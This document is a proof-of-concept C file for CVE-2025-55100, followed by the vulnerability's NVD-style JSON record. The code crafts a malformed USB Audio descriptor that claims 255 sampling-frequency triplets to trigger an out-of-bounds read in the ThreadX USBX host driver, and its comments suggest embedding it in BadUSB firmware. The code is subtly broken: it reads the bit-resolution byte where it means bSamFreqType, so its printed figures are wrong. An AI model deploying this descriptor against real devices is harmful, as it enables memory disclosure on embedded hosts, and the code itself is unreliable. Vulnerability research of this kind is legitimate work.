CVE-2025-55100

// CVE-2025-55100 PoC - Malicious USB Audio Device Descriptor // This PoC demonstrates how to craft a malicious USB Audio 1.0 descriptor // that triggers the out-of-bounds read in _ux_host_class_audio10_sam_parse_func() #include <stdio.h> #include <string.h> #include <stdint.h> // USB Audio 1.0 Type I Format Type Descriptor typedef struct { uint8_t bLength; uint8_t bDescriptorType; // 0x24 (CS_INTERFACE) uint8_t bDescriptorSubtype; // 0x02 (FORMAT_TYPE) uint8_t bFormatType; // 0x01 (TYPE_I) uint8_t bNrChannels; uint8_t bSubframeSize; uint8_t bBitResolution; uint8_t bSamFreqType; // Followed by bSamFreqType * 3 bytes of sampling frequency triplets } __attribute__((packed)) USB_Audio_Format_TypeI; // Malicious descriptor with inflated bSamFreqType uint8_t malicious_descriptor[] = { // Audio Control Interface Header 0x09, 0x24, 0x01, 0x00, 0x01, 0x29, 0x00, 0x01, 0x01, // Format Type I Descriptor - bLength=10 (only 1 triplet fits) 0x0A, // bLength = 10 (header 7 bytes + 1 triplet of 3 bytes) 0x24, // bDescriptorType = CS_INTERFACE 0x02, // bDescriptorSubtype = FORMAT_TYPE 0x01, // bFormatType = TYPE_I 0x01, // bNrChannels = 1 0x02, // bSubframeSize = 2 bytes 0x10, // bBitResolution = 16 bits 0xFF, // bSamFreqType = 255 (MALICIOUS - claims 255 triplets but only 1 exists) // Only one actual sampling frequency triplet (3 bytes) 0x44, 0xAC, 0x00 // 44100 Hz (0x00AC44) }; void craft_malicious_usb_audio_device(void) { // The vulnerability triggers when: // 1. bSamFreqType (0xFF = 255) indicates 255 sampling frequency triplets // 2. But the actual descriptor only contains 1 triplet // 3. _ux_host_class_audio10_sam_parse_func() loops 255 times // 4. After the first triplet, it reads beyond the descriptor buffer // 5. This causes an out-of-bounds read of 254*3 = 762 bytes printf("Malicious USB Audio descriptor crafted.\n"); printf("bSamFreqType: %d (claims %d triplets)\n", malicious_descriptor[15], malicious_descriptor[15]); printf("Actual triplets in descriptor: 1\n"); printf("OOB read size: %d bytes\n", (malicious_descriptor[15] - 1) * 3); // In a real attack scenario, this descriptor would be embedded in a // malicious USB device firmware (e.g., using a USB Rubber Ducky or // a programmable USB HID device like a BadUSB) } int main(void) { craft_malicious_usb_audio_device(); return 0; }

{"cve": {"id": "CVE-2025-55100", "sourceIdentifier": "[email protected]", "published": "2025-10-17T06:15:36.247", "lastModified": "2025-10-23T12:33:27.570", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In USBX before 6.4.3, the USB support module for Eclipse Foundation ThreadX, there was a potential out of bound read issue in _ux_host_class_audio10_sam_parse_func() when parsing a list of sampling frequencies."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:A/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.4, "baseSeverity": "LOW", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:eclipse:threadx_usbx:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.4.3.202503", "matchCriteriaId": "B8C9E3B8-8960-4282-AF07-5D2F56DBCD5F"}]}]}], "references": [{"url": "https://github.com/eclipse-threadx/usbx/security/advisories/GHSA-j253-w29r-9m48", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}